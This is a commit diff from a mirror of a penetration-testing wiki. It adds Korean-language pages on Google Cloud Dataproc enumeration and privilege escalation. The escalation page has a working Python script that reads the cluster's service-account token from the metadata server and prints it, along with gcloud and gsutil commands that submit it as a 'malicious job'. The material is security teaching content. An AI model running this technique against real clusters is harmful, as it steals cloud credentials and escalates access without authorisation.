mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,54 @@
|
||||
# GCP Dataproc Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataproc
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataproc-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
이 방법을 사용하여 리버스 셸을 얻는 것은 불가능했지만, 아래에 설명된 방법을 사용하여 메타데이터 엔드포인트에서 SA 토큰을 유출할 수 있습니다.
|
||||
|
||||
#### Exploit 단계
|
||||
|
||||
- GCP 버킷에 작업 스크립트를 배치합니다.
|
||||
|
||||
- Dataproc 클러스터에 작업을 제출합니다.
|
||||
|
||||
- 작업을 사용하여 메타데이터 서버에 접근합니다.
|
||||
|
||||
- 클러스터에서 사용되는 서비스 계정 토큰을 유출합니다.
|
||||
```python
|
||||
import requests
|
||||
|
||||
metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
headers = {"Metadata-Flavor": "Google"}
|
||||
|
||||
def fetch_metadata_token():
|
||||
try:
|
||||
response = requests.get(metadata_url, headers=headers, timeout=5)
|
||||
response.raise_for_status()
|
||||
token = response.json().get("access_token", "")
|
||||
print(f"Leaked Token: {token}")
|
||||
return token
|
||||
except Exception as e:
|
||||
print(f"Error fetching metadata token: {e}")
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
|
||||
# Submit the malicious job
|
||||
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# GCP - Dataproc Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Infromation
|
||||
|
||||
Google Cloud Dataproc는 Apache Spark, Apache Hadoop, Apache Flink 및 기타 빅 데이터 프레임워크를 실행하기 위한 완전 관리형 서비스입니다. 주로 데이터 처리, 쿼리, 머신 러닝 및 스트림 분석에 사용됩니다. Dataproc는 조직이 Cloud Storage, BigQuery 및 Cloud Monitoring과 같은 다른 Google Cloud Platform (GCP) 서비스와 원활하게 통합하여 분산 컴퓨팅을 위한 클러스터를 쉽게 생성할 수 있도록 합니다.
|
||||
|
||||
Dataproc 클러스터는 가상 머신(VM)에서 실행되며, 이러한 VM과 연결된 서비스 계정이 클러스터의 권한 및 접근 수준을 결정합니다.
|
||||
|
||||
## Components
|
||||
|
||||
Dataproc 클러스터는 일반적으로 다음을 포함합니다:
|
||||
|
||||
Master Node: 클러스터 리소스를 관리하고 분산 작업을 조정합니다.
|
||||
|
||||
Worker Nodes: 분산 작업을 실행합니다.
|
||||
|
||||
Service Accounts: API 호출을 처리하고 다른 GCP 서비스에 접근합니다.
|
||||
|
||||
## Enumeration
|
||||
|
||||
Dataproc 클러스터, 작업 및 구성을 열거하여 서비스 계정, 권한 및 잠재적인 잘못된 구성과 같은 민감한 정보를 수집할 수 있습니다.
|
||||
|
||||
### Cluster Enumeration
|
||||
|
||||
Dataproc 클러스터를 열거하고 세부 정보를 검색하려면:
|
||||
```
|
||||
gcloud dataproc clusters list --region=<region>
|
||||
gcloud dataproc clusters describe <cluster-name> --region=<region>
|
||||
```
|
||||
### 작업 열거
|
||||
```
|
||||
gcloud dataproc jobs list --region=<region>
|
||||
gcloud dataproc jobs describe <job-id> --region=<region>
|
||||
```
|
||||
### 권한 상승
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataproc-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user